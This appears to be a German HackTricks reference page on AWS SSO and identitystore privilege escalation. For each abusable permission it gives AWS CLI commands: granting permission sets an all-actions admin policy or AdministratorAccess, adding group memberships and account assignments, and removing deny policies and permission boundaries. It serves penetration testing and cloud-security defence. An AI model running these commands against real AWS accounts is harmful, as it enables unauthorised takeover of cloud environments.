AWS - SSO & identitystore Privesc

Unterstütze HackTricks

AWS Identity Center / AWS SSO

Für weitere Informationen über AWS Identity Center / AWS SSO siehe:

AWS - IAM, Identity Center & SSO Enum

Beachte, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management-Konto auf das IAM Identity Center zugreifen und es steuern können. Benutzer aus anderen Konten können dies nur zulassen, wenn das Konto ein Delegierter Administrator ist. Siehe die Dokumentation für weitere Informationen.

Passwort zurücksetzen

Ein einfacher Weg, um Privilegien in Fällen wie diesem zu eskalieren, wäre, eine Berechtigung zu haben, die es erlaubt, die Passwörter der Benutzer zurückzusetzen. Leider ist es nur möglich, eine E-Mail an den Benutzer zu senden, um sein Passwort zurückzusetzen, sodass du Zugriff auf die E-Mail des Benutzers benötigst.

identitystore:CreateGroupMembership

Mit dieser Berechtigung ist es möglich, einen Benutzer in eine Gruppe zu setzen, sodass er alle Berechtigungen der Gruppe erbt.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset hinzufügen, das einem Benutzer unter seiner Kontrolle gewährt wird.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.

Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN betroffenen Konten vorhanden ist.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Ein Angreifer mit dieser Berechtigung könnte einem Benutzer unter seiner Kontrolle ein Berechtigungsset für ein Konto zuweisen.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Gibt die STS- kurzfristigen Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Sie benötigen jedoch ein Zugriffstoken, dessen Beschaffung mir unklar ist (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer AWS verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer von Kunden verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, weitere Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Verweigerungsrichtlinie) abgetrennt wird.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie des Berechtigungssets entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine Inline-Richtlinie (Verweigerungsrichtlinie) abgetrennt wird.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungsgrenze aus dem Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem die Einschränkungen des Berechtigungssets, die von der Berechtigungsgrenze gegeben werden, entfernt werden.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Unterstütze HackTricks

Last updated